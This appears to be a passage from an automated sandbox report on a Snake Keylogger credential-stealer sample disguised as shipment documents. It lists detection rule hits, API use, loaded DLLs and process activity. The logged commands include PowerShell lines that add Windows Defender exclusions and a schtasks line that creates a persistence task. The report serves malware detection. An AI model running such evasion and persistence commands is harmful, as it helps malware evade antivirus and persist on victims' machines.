Source: 10.2.ZOlmYtPdlO.exe.39525c0.0.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 10.2.ZOlmYtPdlO.exe.390e1a0.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 10.2.ZOlmYtPdlO.exe.39525c0.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 10.2.ZOlmYtPdlO.exe.39525c0.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.rShipmentDocuments.exe.43cd0d8.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.rShipmentDocuments.exe.43cd0d8.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 10.2.ZOlmYtPdlO.exe.39525c0.0.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 10.2.ZOlmYtPdlO.exe.39525c0.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.rShipmentDocuments.exe.44114f8.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.rShipmentDocuments.exe.44114f8.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 00000009.00000002.4134245226.0000000000423000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0000000A.00000002.1768004359.000000000390E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000000.00000002.1729453835.00000000043CD000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: rShipmentDocuments.exe PID: 7300, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: rShipmentDocuments.exe PID: 7768, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: ZOlmYtPdlO.exe PID: 7824, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23

Source: rShipmentDocuments.exe	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: ZOlmYtPdlO.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 0.2.rShipmentDocuments.exe.43cd0d8.2.raw.unpack, -B-.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.rShipmentDocuments.exe.43cd0d8.2.raw.unpack, -B-.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.rShipmentDocuments.exe.43cd0d8.2.raw.unpack, B--.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.rShipmentDocuments.exe.44114f8.0.raw.unpack, -B-.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.rShipmentDocuments.exe.44114f8.0.raw.unpack, -B-.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.rShipmentDocuments.exe.44114f8.0.raw.unpack, B--.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 10.2.ZOlmYtPdlO.exe.390e1a0.1.raw.unpack, -B-.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 10.2.ZOlmYtPdlO.exe.390e1a0.1.raw.unpack, -B-.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 10.2.ZOlmYtPdlO.exe.390e1a0.1.raw.unpack, B--.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 10.2.ZOlmYtPdlO.exe.39525c0.0.raw.unpack, -B-.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 10.2.ZOlmYtPdlO.exe.39525c0.0.raw.unpack, -B-.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: 0.2.rShipmentDocuments.exe.4507ae0.1.raw.unpack, WHIuwreRDsPbwviSjC.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.rShipmentDocuments.exe.7db0000.4.raw.unpack, WHIuwreRDsPbwviSjC.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.rShipmentDocuments.exe.7db0000.4.raw.unpack, cQp1qcD75pepdx07b2.cs	Security API names: _0020.SetAccessControl
Source: 0.2.rShipmentDocuments.exe.7db0000.4.raw.unpack, cQp1qcD75pepdx07b2.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.rShipmentDocuments.exe.7db0000.4.raw.unpack, cQp1qcD75pepdx07b2.cs	Security API names: _0020.AddAccessRule
Source: 0.2.rShipmentDocuments.exe.4507ae0.1.raw.unpack, cQp1qcD75pepdx07b2.cs	Security API names: _0020.SetAccessControl
Source: 0.2.rShipmentDocuments.exe.4507ae0.1.raw.unpack, cQp1qcD75pepdx07b2.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.rShipmentDocuments.exe.4507ae0.1.raw.unpack, cQp1qcD75pepdx07b2.cs	Security API names: _0020.AddAccessRule

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@25/15@3/4

Source: C:\Users\user\Desktop\rShipmentDocuments.exe

File created: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe

Jump to behavior

Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7628:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7560:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8084:120:WilError_03
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Mutant created: \Sessions\1\BaseNamedObjects\RDJCqbWVNpnzGVnTyiGSZiAgR
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7496:120:WilError_03

Source: C:\Users\user\Desktop\rShipmentDocuments.exe

File created: C:\Users\user\AppData\Local\Temp\tmp44A0.tmp

Jump to behavior

Source: rShipmentDocuments.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: rShipmentDocuments.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Users\user\Desktop\rShipmentDocuments.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\rShipmentDocuments.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: rShipmentDocuments.exe	Virustotal: Detection: 37%
Source: rShipmentDocuments.exe	ReversingLabs: Detection: 28%

Source: C:\Users\user\Desktop\rShipmentDocuments.exe

File read: C:\Users\user\Desktop\rShipmentDocuments.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\rShipmentDocuments.exe "C:\Users\user\Desktop\rShipmentDocuments.exe"
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\rShipmentDocuments.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\ZOlmYtPdlO" /XML "C:\Users\user\AppData\Local\Temp\tmp44A0.tmp"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process created: C:\Users\user\Desktop\rShipmentDocuments.exe "C:\Users\user\Desktop\rShipmentDocuments.exe"
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process created: C:\Users\user\Desktop\rShipmentDocuments.exe "C:\Users\user\Desktop\rShipmentDocuments.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\ZOlmYtPdlO" /XML "C:\Users\user\AppData\Local\Temp\tmp5356.tmp"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Process created: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe "C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe"
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Process created: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe "C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe"
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Process created: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe "C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe"
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\rShipmentDocuments.exe"	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe"	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\ZOlmYtPdlO" /XML "C:\Users\user\AppData\Local\Temp\tmp44A0.tmp"	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process created: C:\Users\user\Desktop\rShipmentDocuments.exe "C:\Users\user\Desktop\rShipmentDocuments.exe"	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process created: C:\Users\user\Desktop\rShipmentDocuments.exe "C:\Users\user\Desktop\rShipmentDocuments.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\ZOlmYtPdlO" /XML "C:\Users\user\AppData\Local\Temp\tmp5356.tmp"
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Process created: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe "C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe"
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Process created: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe "C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe"
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Process created: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe "C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe"

Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Section loaded: iconcodecservice.dll	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
